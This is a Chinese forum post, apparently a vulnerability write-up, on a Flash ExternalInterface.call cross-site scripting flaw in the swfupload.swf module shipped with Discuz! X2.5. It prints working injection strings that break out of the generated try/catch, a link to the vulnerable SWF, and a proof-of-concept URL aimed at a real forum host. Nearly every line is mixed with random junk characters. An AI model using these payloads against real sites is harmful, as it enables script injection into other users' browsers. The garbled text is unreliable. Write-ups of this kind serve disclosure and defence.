上回我们说
0 A" s3 A1 }* j8 a5 e* R1 s8 h
& |! Y `/ M( C7 l/ b9 {! @. Vflash.external.ExternalInterface.call($methodName, $parameter)
% l. E$ ^" k6 F: f5 P: c+ V. z在浏览器中执行的是
" ~* T9 n4 g5 }0 U+ m: T4 U& I7 b; v
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
! J$ u! X; ~- J# k对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如% \ w! \+ P9 H9 d$ R
% c) z0 c5 _! D8 Yflash.external.ExternalInterface.call("object."+$methodName, $parameter)
. d1 P# b8 Q1 Y$ _$methodName = a())}catch(e){alert(/xss/)}//
+ z' W% S- j! n9 E结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
% C7 L( O" z. u1 W1 o% A. C: o
5 b/ q* Z& O4 u- u$ q9 T/ Ytry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
+ N9 V# d/ O' C' E1 F4 Y* g! ^2 Q% Y# I9 ?/ V
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )$ I( i5 \/ y* @, Q# z0 ^
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。1 l/ E6 b1 ~3 M& c
, U, v& t5 h! Q: Y7 T; D Q
6 @6 X4 I4 y; Q. c' O" F' U
1 o' h6 N; I9 [
漏洞文件:upload\static\image\common\swfupload.swf( Q; I: o) _5 a9 `' w
4 B* n( b- V3 P5 E
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
0 m9 j9 v1 v: |+ D1 C* w( k0 }
3 K& A- Y. f4 u2 P- e2 k/ C u& N) _+ W f% `: r( [
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
6 s( \8 S3 Y: M ^: H8 C
$ X, `5 ?8 F9 h p; G
. X! x1 f5 m- d f% s |